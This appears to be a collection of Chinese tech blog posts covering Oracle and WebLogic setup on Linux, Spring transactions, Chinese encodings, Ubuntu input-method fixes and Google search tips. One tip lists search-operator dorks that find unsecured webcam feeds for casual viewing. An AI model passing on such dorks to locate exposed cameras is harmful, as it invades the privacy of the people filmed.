oracle软件使用了许多环境变量,非常重要的三个是 ORACLE_HOME,ORACLE_BASE和ORACLE_SID.ORACLE_HOME指定了你希望运行的oracle执行程序的位置.一台计算机上可能安装了若干个版本的oracle软件,大多数oracle程序查询ORACLE_HOME来决定运行何种版本的软件.ORACLE_BASE定义了数据库管理文件安装的基本目录.ORACLE_SID定义了你希望在其上工作的本地oracle数据库名称.如果是linux环境,在命令提示符下设置变量,如果是windows环境,则可以在命令提示符下或在注册表中设置.以下简述如何设置环境变量.(由于windows下相对简单,着重介绍linux平台)
1、su oracle并回车切换到oracle用户;
2、cd并回车回到oracle用户目录;
3、vi .bash_profile并回车编辑该文件,按I键进入插入状态,在最后加入以下行:
export ORACLE_SID=orcl
export ORACLE_HOME=/home/oracle/oracle/product/10....(...部分根据你的实际路径修改)
export PATH=$PATH:$ORACLE_HOME/bin
输入完毕后按ESC键退出vi编辑状态,输入:wq并回车存盘退出。
4、注销所有oracle用户,再使用oracle登录即可。以下资料简单介绍linux下如何查看oracle的环境变量
example :
[oracle@q1test01 ~]$ env |grep -e ORA -e TNS -e LD
OLDPWD=/home/oracle
LD_LIBRARY_PATH=/oracle/product/9.2/lib:/lib:/usr/lib:/usr/local/lib
ORACLE_SID=orcl
ORACLE_BASE=/oracle
ORACLE_TERM=xterm
LD_ASSUME_KERNEL=2.4.1
ORA_NLS33=/oracle/product/9.2/ocommon/nls/admin/data
ORACLE_HOME=/oracle/product/9.2
Spring提供的事务管理可以分为两类:编程式的和声明式的。编程式的,比较
灵活,但是代码量大,存在重复的代码比较多;而声明式的比编程式的更灵活方
便。本文将讨论这两种事务管理的区别。
传统的JDBC事务管理
以往使用JDBC进行数据操作时,一般采用DataSource,从数据源中得到
Connection,我们知道数据源是线程安全的,而连接不是线程安全的,所以对每个
请求都是从数据源中重新取出一个连接。一般的数据源由容器进行管理,包括连接
池。例如TOMCAT,WEBSPHERE, WEBLOGIC等这些J2EE商业容器都提供了这个功能。
以往的我们使用JDBC在写代码时,事务管理可能会是这样:
Connection conn = null;
try
{
conn = DBConnectionFactory.getConnection;
conn.setAutoCommit(false);
//do something
conn.commit(); //commit transcation
}
catch(Exception e)
{
conn.rollback();
//do sth
}
finally
{
try
{
conn.close();
}
catch(SQLException se){ //do sth.}
//close ResultSet,PreparedStatement,Connection
//notice:Maybe ocurr Exception when u close rs,pstmt,conn
}
按照以往的思路来写代码,代码量比较长,而且容易疏忽,忘掉一些
try/catch,引发一些异常无法catch,虽然有时候我们会写DBTool 类,来关闭这
些资源,并且保证在关闭这些资源时,不向外抛异常。
Spring提供的编程式的事务处理
Spring提供了几个关于事务处理的类:
・TransactionDefinition //事务属性定义
・TranscationStatus //代表了当前的事务,可以提交,回滚。
・PlatformTransactionManager这个是spring提供的用于管理事务的基础接
口,其下有一个实现的抽象类 AbstractPlatformTransactionManager,我们使用的
事务管理类例如 DataSourceTransactionManager等都是这个类的子类。
我们使用编程式的事务管理流程可能如下:
1 声明数据源
2 声明一个事务管理类,例如DataSourceTransactionManager,
HibernateTransactionManger, JTATransactionManager等
3 在我们的代码中加入事务处理代码:
TransactionDefinition td = new TransactionDefinition();
TransactionStatus ts = transactionManager.getTransaction(td);
try
{
//do sth
transactionManager.commit(ts);
}
catch(Exception e){transactionManager.rollback(ts);}
使用spring提供的事务模板TransactionTemplate
void add()
{
transactionTemplate.execute( new TransactionCallback(){
pulic Object doInTransaction(TransactionStatus ts)
{ //do sth}
}
}
TransactionTemplate也是为我们省去了部分事务提交、回滚代码;定义事务
模板时,需注入事务管理对象.
Spring声明式事务处理
Spring声明式事务处理也主要使用了ioc,aop思想,提供了
TransactionInterceptor拦截器和常用的代理类 TransactionProxyFactoryBean,
可以直接对组件进行事务代理。
使用TransactionInterceptor步骤
1.定义数据源,事务管理类
2.定义事务拦截器,such as:
<bean id = "transactionInterceptor"
class="org.springframework.transaction.interceptor.TransactionInterceptor">
<property name="transactionManager"><ref bean="transactionManager"/>
</property>
<property name="transactionAttributeSource">
<value>
com.test.UserManager.*r=PROPAGATION_REQUIRED
</value>
</property>
</bean>
3.为组件声明一个代理类:ProxyFactoryBean
<bean id="userManager"
class="org.springframework.aop.framework.ProxyFactoryBean">
<property name="proxyInterfaces"><value>com.test.UserManager
</value></property>
<property name="interceptorNames">
<list>
<idref local="transactionInterceptor"/>
</list>
</property>
</bean>
使用TransactionProxyFactoryBean:
<bean id="userManager"
class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean">
<property name="transactionManager"><ref bean="transactionManager"/>
</property>
<property name="target"><ref local="userManagerTarget"/></property>
<property name="transactionAttributes">
<props>
<prop key="insert*">PROPAGATION_REQUIRED</prop>
<prop key="update*">PROPAGATION_REQUIRED</prop>
<prop key="*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
TransactionProxyFactoryBean只是为组件的事务代理,如果我们要给组件添
加一些业务方面的验证等,可以使用 TransactionTemplate加拦截器方式,为组件
添加多个拦截器,spring AOP中提供了三类Advice,即前增强,后增强,抛出异常
时的增强,可以灵活使用。
在中国,大陆最常用的就是GBK18030编码,除此之外还有GBK,GB2312,这几个编
码的关系是这样的。
最早制定的汉字编码是GB2312,包括6763个汉字和682个其它符号
95年重新修订了编码,命名GBK1.0,共收录了21886个符号。
之后又推出了GBK18030编码,共收录了27484个汉字,同时还收录了藏文、蒙文、
维吾尔文等主要的少数民族文字,现在WINDOWS平台必需要支持GBK18030编码。
按照GBK18030、GBK、GB2312的顺序,3种编码是向下兼容,同一个汉字在三个编
码方案中是相同的编码。
JasperException: Failed to load or instantiate TagLibraryValidator
class: org.apache.taglibs.standard.tlv.JstlCoreTLV
A: 原因lib中缺少standard.jar和servlet-api.jar两个文件,将两个文件加入用
户库中。
Go to source web page: 使用spring 调试提示:Failed to load or
instantiate TagLibraryValidator class:
升级到ubuntu 7.10,有可能会遇到修改文件名时不能输入,在firefox中不能光标跟
随,在gaim,pidgin,amsn,emesene,eva, gtalk等聊天软件不能输入文字等等的问
题.解决方法如下:
# im-switch -s scim -z default
# sudo apt-get install scim-qtimm
# sudo apt-get install scim scim-pinyin scim-tables-zh im-switch
scim-qtimm scim-bridge scim-bridge-client-gtk scim-bridge-client-qt
scim-bridge-agent
编辑im-switch生成的scim配置文件
# gksu gedit /etc/X11/xinit/xinput.d/scim
将默认的 GTK_IM_MODULE=scim 修改为 GTK_IM_MODULE="scim-bridge"。保存退出。
在scim输入法中进行了如下设定:
scim设置->全局设置->将预编辑字符串嵌入到客户端中 前的勾去掉
scim设置->gtk->嵌入式候选词标的勾去掉.
重启scim
打开终端,输入 pkill scim
然后输入 scim -d
OK。
标签: linux
10月18号,UBUNTU 7.10正式版在人们的千呼万唤中发布了,昨天晚上就把下载的
ISO刻好盘准备今天重装,重装的过程还算顺利,进入系统进行网络/软件源/语
言支持/安装受限显卡驱动等相关配置
重启后第一感觉就是我的显示分辨率自动调整到最佳分辨率,之前安装BETA版时,
安装受限驱动还需手动更改分辨率
第二声卡也正常了,BETA版无启动声音,需手动设置,现在都很正常了
这也算是个改进吧,UBUNTU总是给我们带来惊喜的:)
这些都设置OK了,接下来就是多媒体的解决了,没配置过的系统是无法读取MP3,
WMA,RM,RMVB等格式的文件,我是这样解决的:
linux 下最受好评的还是mplayer,但播放电影我还是喜欢用Totem,如果使用
totem播不出来的电影可以使用Mplayer,不过至少到现在我还没有碰到totem放不
出来的,Totem 默认使用 Gstreamer 作为后端解码方案,但我使用的是 xine,播
放音乐选择audacious
打开终端执行
sudo apt-get install mplayer mozilla-mplayer totem-xine libxine1-ffmpeg
audacious
接下来还要为Mplayer安装强大的解码器
win32codecs
安装好之后,问题就来了,audacious使用正常,但使用TOTEM看RM,RMVB时有声
音,没有图像?我记得以前是有图像没声音的,终于在网上找到解决方法
安装 libstdc++5来支持,直接在终端输入
sudo apt-get install libstdc++5
再去播放一下看看,是不是全可以正常播放了?
Audacious播放列表乱码的设置
在audacious上右键选择"首选项",在"播放列表"中,把标题格式改为"Custom",再
把自定格式改为"%f"(不要引号)
去享受吧~
标签: linux
升级到ubuntu 7.10,有可能会遇到修改文件名时不能输入,在firefox中不能光标跟
随,在gaim,pidgin,amsn,emesene,eva, gtalk等聊天软件不能输入文字等等的问
题.解决方法如下:
# im-switch -s scim -z default
# sudo apt-get install scim-qtimm
# sudo apt-get install scim scim-pinyin scim-tables-zh im-switch
scim-qtimm scim-bridge scim-bridge-client-gtk scim-bridge-client-qt
scim-bridge-agent
编辑im-switch生成的scim配置文件
# gksu gedit /etc/X11/xinit/xinput.d/scim
将默认的 GTK_IM_MODULE=scim 修改为 GTK_IM_MODULE="scim-bridge"。保存退出。
在scim输入法中进行了如下设定:
scim设置->全局设置->将预编辑字符串嵌入到客户端中 前的勾去掉
scim设置->gtk->嵌入式候选词标的勾去掉.
重启scim
打开终端,输入 pkill scim
然后输入 scim -d
OK。
标签: linux
1.搜索在线摄像头监视站点
在Google中输入"inurl:"ViewerFrame? Mode=""或者"inurl:
"MultiCameraFrame?Mode=""、"inurl:"view/index.shtml""(输入时不带外面的双
引号,在英文状态下输入),你会获得无数个未经加密的网络摄像机监视到的画
面。无聊的时候玩玩,可以满足一下我们的好奇心。此外,打开这个站点:
www.opentopia.com/hiddencam.php,在"from"中选择"China",你还可以看到国内
的某处网络摄像机画面。
2.让Google搜索结果在新窗口中打开
默认情况下Google的搜索结果跟百度等搜索引擎不一样,它是直接在当前网页
中打开搜索结果,这对我们的使用会感到不方便,其实我们可以通过设置来达到目
的。打开Google后,选择"使用偏好"链接,在打开页面的"结果视窗"中勾选"开启
新视窗以显示查询结果。"一项,单击"存储偏好设置"按钮即可
3.比较两个关键词在Google中搜索结果数量
想知道克里和布什谁更火?那就比较一下Google的搜索结果数量就知道了。打
开www.googlefight.com/,在"Keyword #1"和"Keyword #2"中分别输入"克里"和
"布什",单击"Make a fight!"按钮即可看到他们各自的结果。笔者试过,克里有
741000个搜索结果,布什有4020000个搜索结果,布什获胜!
4.让Google来告诉去哪儿旅游
想好去哪儿旅游了吗?问问Google吧。打开
douweosinga.com/projects/besttimetovisit站点,在 "Enter the name of
destination"栏中输入你想要去的城市名字,比如"北京",点击"Go"即可获得结
果。
5.有趣的关键字
在Google中输入"_*_"这个关键字,不管你是"搜索所有网页"还是"仅搜索中文
网页",你都只能搜索到一大堆中文页面。想明白这是为什么吗?到
blog.outer-court.com/forum/5066.html去看看就知道了,原来这是ASCII字符和
Google之间的矛盾。
Google在用户隐私资料收集方面的九大疑点
Google-Watch近日刊登文章,警告用户小心Google对隐私资料获取的"阴险"与"强
硬",并列举了Google在用户隐私资料收集方面的九大"阴谋疑点":
1. Google的"老不死"cookie
Google 是第一个使用Cookie的搜索引擎供应商,其Cookie有效时间竟然直至2038
年。Google的Cookie在你的硬盘上留下独一的ID记录,当你浏览Google页面时,
Google会检查你是否拥有Cookie文件,如果没有则留下新Cookie,如果已经存在便
会读取旧Cookie中的信息。
2. Google记录所有能记录的资料
Google将记录所有搜索引擎用户的Cookie ID、网址IP、登录时间与日期、搜
索偏好以及浏览器类型。Google还会针对你的IP地址提供给你不同的地域性搜索结
果。
3. Google资料保护并不完善
Google没有任何资料保存政策,很显然,他们可以自由读取搜集到的用户个人
资料。
4. Google会不会透露资料的用途
当纽约时报2002年在采访中就资料用途问题咨询Sergey Brin时,他拒绝对此
发表评论。
5. Google雇佣"危险人物"
Mutt Cutts--Google重要软件工程师,曾经为美国国家安全局工作。而且
Google还想雇佣更多有类似背景的人。
6. Google工具条是间谍软件
Google的免费工具条能够记录你浏览的所有页面,并且读取你的所有Cookie,
Google已经在其隐私政策中承认这一点。而且Goolge工具条每次更新都无声无息,
并不询问用户是否需要更新。
7. Google的页面缓存拷贝行为违法
根据美国网络版权法,Google的页面缓存记录行为违法。
8. Google并不是你的朋友
目前Google占有75%站外链接份额,网站管理员不得不寻求Google的认可。如
果网站管理员试图利用Google已知的搜索排名算法提高自己的排名,将受到Google
的惩罚,其链接和流量将被Google中止。而Google目前并没有出台公开处罚标准和
政策。
9. Google是个人隐私的定时炸弹
每天有2亿用户使用Google搜索服务,其中大部分在美国本土以外,Google的
隐私资料收集行为将成为个人数据的定时炸弹。连华盛顿新成立的安全局资料采集
部门都梦想获得Google搜集资料的高效能力。
Google技巧
google 检索引擎因其准确和快速的检索服务而深受广大网民欢迎,成为他们手中
查询信息的必备工具,Google检索引擎本身也不辜负网民的期望,不断推出新的检
索功能,除了为帮助人们更精确查找信息而常用的网站内容(site)、网页链路
(inurl)、网页标题(intitle)、各种格式文件 (filetype)和被链接(link)等检索
功能之外,最近,还推出了一系列新的检索服务,总体来说,这些新的检索功能更
加人性化,更贴近人们的日常生活和需要,因而很容易被用户接受和使用。
1。 汉语拼音输入检索
为了方便使用中文的用户在网上搜索,Google允许用户直接在键盘上输入汉语
拼音来检索相关事物,例如:
输入 shanghaishikebiao
检索结果提示:您是不是要找:上海时刻表
这正是我们需要查找的关键词,用户可以据此浏览相关结果,这包括上海地区
的各种交通工具的时刻表。如果需要查找更详细的资料"上海飞机航班时刻表",则
只要在原来的检索结果"上海时刻表"中间输入feijihangban,例如:
上海feijihangban时刻表
Google的这项新功能,可以免除用户在中文和拼音输入方面的互相转换。用户
在输入拼音时,不要留有空格,否则Google会误认为英文。 Google把拼音与常用
的字或者词组一一对应,因此,过于生僻的字或词组不适合于用这个方法查找。
2。 中英文字典
经常使用计算机的用户手头上自然会有一、两个字典软件,用于查找和翻译中
英文的词义。作为一种使用频率较高的工具,Google也提供了一个中英文字典,很
方便使用。用户可以按照下列方法查找词义查找英文的中文词义则输入fy
computer查找中文的英文词义则输入 翻译 计算机
3。 天气查询
天气情况也是人们经常要查询的信息之一,Google 提供的天气查询来自于一
个更新及时的中文气象网站,适合中国人使用。用户输入中文和英文都可以查询,
例如要了解奥运会期间雅典的天气情况,可以按照下列方法输入:
雅典 天气 athens tq 返回的查询结果中会在第一条出现一个 "雅典天
气预报",用户点击后就可以看到当天雅典的天气情况。如果地名相同者,用户还
需要进行一次选择。
4。 股票查询
查询股票的网站已经很多了,Google提供的股票查询只是更方便一些而已,用
户可以按照股票名称、股票代码或者股票名称的声母字母查询,下列为查询 "中国
联通"股票行情的举例。
中国联通 股票 zglt gp
gp 600050
5。 邮政编码和区号查询
人们时常需要查询邮政编码和电话区号,Google提供了这样一个实用的功能,
用户据此能够获得所要查询的省市名称,邮政编码及长途电话区号,下面为查询举例:
邮编 杭州
区号 绍兴
yb 杭州
qh 绍兴
需要注意的是用户只能查询到城市级别的邮政编码和区号,而无法进一步查询
区县的具体信息。
6。 手机归属地查询
用户在输入手机号码后可以获得号码段、归属地、卡类型、邮政编码和电话区
号的信息,但是从实用的角度看,其中只有手机归属地的信息较为有用。
7。 计算器使用
Google有计算器的功能,例如在google检索框中输入45*86+35/7,就会得到结果:
(45 * 86) + (35 / 7) = 3 875
有兴趣的用户,或者经常在计算机上进行运算的用户不妨可以试一试。
8。 购物检索
Google新开设的购物检索称之为Froogle,网址为http://froogle。google。com/
用户只要输入商品的名称,就可以看到该商品的图片和价格,用户还可以限定
一种商品的价格进行检索,并且将检索结果按需要从高价到低价排序列出,许多商
品可以直接在网上订购,这种图文并茂的检索购物方式较受用户青睐。
9。 美国实用生活信息查询
如果用户生活在美国或者短期去美国出差和学习,下面的查询功能或许能对他
们又帮助,因为这些检索服务目前仅限于美国。
9.1 地区代码查询
用户输入美国的地区代码,在返回的检索结果中的第一项就是该地区的地图,
用户可以通过不断的点击来找到一条具体的大街。
9.2 条形码查询
用户输入一个商品的条形码就可以找到有关该产品的说明。
9.3 飞机航班查询
用户输入一家航空公司的名称和航班号,即可获得该航班的出发地和目的地,
起飞和到达时间,以及实际航行情况,目前是否开始检票,抵达目的地候机大楼的
舱门号。
9.4 车牌号查询
用户输入车牌号,可以获得一辆车的名称、型号、出厂年份,车身和发动机情况。
9.5 邮件查询
用户输入一个邮件的号码,可以获悉该邮件目前的状况,譬如邮件已经抵达或
者正在路途上等。
10。 检索工具栏
Google的检索工具栏功能强大,有拖放和右击检索功能,新闻阅读,广告拦
截,网站排名显示和搜索字词标明等,工具栏可以附在浏览器下,使用更加方便。
用户可以首先在Google网站下载并安装一个检索工具栏,然后根据需要在工具栏的
选项中进行设置,我们推荐用户使用这个检索工具栏,它将给用户带来许多意想不
到的方便。
10.1 Google 新闻
Google 的新闻来源于4500家报刊杂志和通讯社,在精选以后持续播出世界各
国的新闻,每条新闻都有更新的时间,并联接相关的新闻。用户可以使用免费的新
闻通知服务,通过电子邮件收到自己感兴趣的新闻。
10.2 网站排名
Google 通过对 Web 链接结构和许多其它变量自动计算,对网页的重要程
度进行评定。网站排名根据这个评定能够显示用户正在访问的网站的重要程度,用
一根绿色线条显示,直观而明确。
10.3 搜索字词标明
搜索字词标明通过鲜艳的色彩标明用户所检索的字词在每个网页上的位置,便
于用户查阅,单击"搜索字词标明"按钮可以打开和关闭标明状态。
10.4 拖放和右击检索
拖放检索功能使检索更为方便,用户可以把在网页上所选取的字词直接拖放到
检索框中,Google会自动进行检索。对于与 Web浏览器同时运行的许多文字处理
应用程序中的文字,也可以使用此功能。右击检索是指用户可以在网页上选取文字
后,右击鼠标,然后从弹出式菜单中选择"Google 搜索"便可以自动检索。
现在越来越多的项目是基于Linux或Unix下的,而在Linux上给客户上安装一个项
目,需要进行许多的安装设置过程,比如数据库的, WebLogic Server的。现写下
基于Red hat Linux7.1 +jdk1.3+WebLogic Server7.0 +oracle9.2 的安装配置过程。
一.安装好linux ,安装过程比较简单,不在此叙述.
二.JDK的安装配置.
一般以root用户安装。
先从SUN网站上下载一个jdk.比如:j2sdk-1_3_1_06-linux-i586.bin,放到/usr/local
下,
chmod a+x j2sdk-1_3_0-linux.bin(添加执行权限)
./j2sdk-1_3_0-linux.bin
安装RPM文件格式:
chmod a+x j2sdk-1_3_0-linux-rpm.bin
./j2sdk-1_3_0-linux-rpm.bin
rpm -iv j2sdk-1_3_0-linux.rpm
rpm -iv --force j2sdk-1_3_0-linux.rpm
./j2sdk-1_3_1_06-linux-i586.bin
设置环境变量:
# vi /etc/profile
里面添加:
export JAVA_HOME=/usr/local/jdk1.3.1_06/
export CLASSPATH=.:/usr/local/ jdk1.3.1_06/lib
PATH=$PATH:$JAVA_HOME/bin
三、Oracle 9i的安装配置
1.从oracle网站下载oracle9i.
2.解压oracle文件
gunzip Linux9i_Disk1.cpio.gz Linux9i_Disk2.cpio.gz Linux9i_Disk3.cpio.gz
cpio -idmv < Linux9i_Disk1.cpio
cpio -idmv < Linux9i_Disk2.cpio
cpio -idmv < Linux9i_Disk3.cpio
3.以root用户登陆,创建oracle用户,目录,设置oracle环境变量.
Create Oracle User Accounts
# groupadd dba
# groupadd oinstall
# useradd -g oinstall -G dba oracle
# passwd ********
Create Oracle Directories
# mkdir /opt/oracle
# mkdir /opt/oracle/product
# mkdir /opt/oracle/product/9.2.0
# chown -R oracle.oinstall /opt/oracle
# mkdir /var/opt/oracle
# chown oracle.dba /var/opt/oracle
# chmod 755 /var/opt/oracle
Set Oracle Environments
As the oracle user execute the following commands:
# vi /home/oracle/.bash_profile添加
export ORACLE_BASE=/usr/local/oracle
export ORACLE_HOME=$ORACLE_BASE/product/9.2.0
export ORACLE_SID=orcl
export ORACLE_TERM=xterm
export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib
export LD_LIBRARY_PATH
CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib
CLASSPATH=$CLASSPATH:$ORACLE_HOME/network/jlib
export CLASSPATH
PATH=$PATH:$HOME/bin:$ORACLE_HOME/bin
调整内存
Shared Memory
su root
# vi/etc/sysctl.conf里添加
kernel.shmmax=1073741824
4.安装oracle
进入Disk1目录
cd Disk1
在控制台窗口敲入
./runInstaller
安装完了以后,启动数据库
oracle$ sqlplus /nolog
SQL> connect / as sysdba
SQL> startup
oracle 的安装过程比较复杂,而且如果你的开发包安装的不够全的话,会出现一些
错误,具体请参考: http://www.puschitz.com/InstallingOracle9i.shtml
5.设置oracle 自启动
(1)vi /etc/oratab
orcl:/usr/local/oracle/product/9.2.0:Y
(2)vi /home/oracle/.bash_profile
ORACLE_SID=orcl
ORAENV_ASK=NO
export ORACLE_SID ORAENV_ASK
. oraenv
(3)在 /etc/rc.d/init.d 下创建一个dbora文件。
内容如下:
#!/bin/sh
ORA_HOME=/usr/local/oracle/product/9.2.0
ORA_OWNER=oracle
if [ ! -f $ORA_HOME/bin/dbstart ]
then
echo "Oracle startup: cannot start"
exit
fi
case "$1" in
'start') #start oracle database and listeners
su - $ORA_OWNER -c "$ORA_HOME/bin/dbstart"
su - $ORA_OWNER -c "$ORA_HOME/bin/lsnrctl start"
;;
'stop') #stop oracle databse and listeners
su - $ORA_OWNER -c "$ORA_HOME/bin/lsnrctl stop"
su - $ORA_OWNER -c "$ORA_HOME/bin/dbshut"
;;
esac
把这个文件与下列文件联接:
ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc3.d/S99dbora
ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc5.d/S99dbora
ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc0.d/K10dbora
(4)编辑dbstart文件
以oracle用户登陆
vi /usr/local/oracle/product/9.2.0/bin/dbstart
- add the following line:
SPFILE=${ORACLE_HOME}/dbs/spfile${ORACLE_SID}.ora
after this line: PFILE=${ORACLE_HOME}/dbs/init${ORACLE_SID}.ora
- change:
if [ -f $PFILE ] ; then
to:
if [ -f $PFILE -o -f $SPFILE ] ; then
重启动服务器,检查数据库是否已经起来。
四、WebLogic 配置。
从bea网站上下载一个WebLogic Server.开始安装。
[test@linux2 download]$ chmod a+x server701_linux.bin
[test@linux2 download]$ ./server701_linux.bin
按照提示安装即可。
五.设置WebLogic Server 自启动.
以root用户登陆。
vi /etc/rc.d/rc.local
把su - test -c "/home/test/bea/user_projects/mydomain/startWebLogic.sh
2>&1> /dev/null &"
(这里的 test是你安装WebLogic Server时候的用户名.)
放到/etc/rc.d/rc.local里就行了,不过这样有一个缺点,你WebLogic Server启动
后一直在后台运行,你不能看到上面的提示信息和出错信息.
六.调整你的WebLogic Server,便于用户的使用。
设置默认 Web Application,从
mydomain> Servers> myserver>connection>http>Default Web Application
选中你的web application即可。
设置你的首页,在你web application里面的web.xml里面添加一句
你得页面
标签: linux